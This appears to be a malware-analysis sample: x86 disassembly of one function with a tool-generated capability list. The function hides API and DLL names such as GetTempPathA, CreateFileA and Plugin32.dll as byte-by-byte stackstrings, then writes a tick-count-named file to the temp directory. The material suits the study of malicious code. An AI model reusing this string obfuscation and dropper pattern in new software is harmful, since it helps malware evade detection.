Function at 0x40e380
Capabilities:
Check for time delay via gettickcount
Check if file exists
Contain obfuscated stackstrings
Get file attributes
Write file on windows

Disassembly:
sub esp, 0x1a8
mov al, 0x45
push ebx
push ebp
mov byte [esp + 0x19], al
mov byte [esp + 0x1c], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x38]
push edi
lea ecx, [esp + 0x20]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x28], 0x4b
mov byte [esp + 0x2a], 0x52
mov byte [esp + 0x2b], 0x4e
mov byte [esp + 0x2d], 0x4c
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x32], 0x6c
mov byte [esp + 0x33], 0x6c
mov byte [esp + 0x34], 0
mov byte [esp + 0x44], 0x47
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x74
mov byte [esp + 0x47], 0x54
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x6d
mov byte [esp + 0x4a], 0x70
mov byte [esp + 0x4b], 0x50
mov byte [esp + 0x4c], 0x61
mov byte [esp + 0x4d], 0x74
mov byte [esp + 0x4e], 0x68
mov byte [esp + 0x4f], 0x41
mov byte [esp + 0x50], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x30]
lea eax, [esp + 0x20]
push edx
push eax
mov byte [esp + 0x38], 0x43
mov byte [esp + 0x39], 0x72
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x61
mov byte [esp + 0x3c], 0x74
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x46
mov byte [esp + 0x3f], 0x69
mov byte [esp + 0x40], 0x6c
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x41
mov byte [esp + 0x43], 0
call esi
push eax
call edi
lea ecx, [esp + 0xb4]
mov esi, eax
push ecx
push 0x104
call ebp
mov ebx, dword [esp + 0x1c4]
mov ebp, dword [esp + 0x1bc]
cmp ebx, 0xffffffff
jne 0x40e4f1
mov byte [esp + 0x10], 0x50
mov byte [esp + 0x11], 0x6c
mov byte [esp + 0x12], 0x75
mov byte [esp + 0x13], 0x67
mov byte [esp + 0x14], 0x69
mov byte [esp + 0x15], 0x6e
mov byte [esp + 0x16], 0x33
mov byte [esp + 0x17], 0x32
mov byte [esp + 0x18], 0x2e
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1a], 0x6c
mov byte [esp + 0x1b], 0x6c
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x54]
push edx
push eax
call fcn.0042cdcc
add esp, 0xc
jmp 0x40e52e
mov al, 0x25
push ebp
mov byte [esp + 0x14], 0x52
mov byte [esp + 0x15], 0x75
mov byte [esp + 0x16], al
mov byte [esp + 0x17], 0x64
mov byte [esp + 0x18], al
mov byte [esp + 0x19], 0x73
mov byte [esp + 0x1a], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x58]
push ecx
push edx
call fcn.0042cdcc
add esp, 0x10
lea eax, [esp + 0x50]
lea ecx, [esp + 0xb4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 2
lea edx, [esp + 0xc8]
push 0x40000000
push edx
call esi
mov esi, eax
cmp esi, 0xffffffff
jne 0x40e573
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1a8
ret 0xc
lea eax, [esp + 0x4c]
push 0
push eax
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esp + 0x1c8]
mov edi, ebp
not ecx
dec ecx
sub edx, ecx
or ecx, 0xffffffff
dec edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
lea eax, [ecx + ebp + 1]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0xffffffff
jne 0x40e5c2
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1a8
ret 0xc
lea ecx, [esp + 0xb4]
push 0x2e
push ecx
mov ecx, dword [0x51e6fc]
call fcn.0040f6d0
test eax, eax
jne 0x40e5e8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret 0xc
lea edx, [esp + 0xb4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40e60a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1a8
ret 0xc
push ebx
lea eax, [esp + 0xb8]
push 0
push eax
call fcn.0041b2c0
add esp, 0xc
and eax, 0xff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret 0xc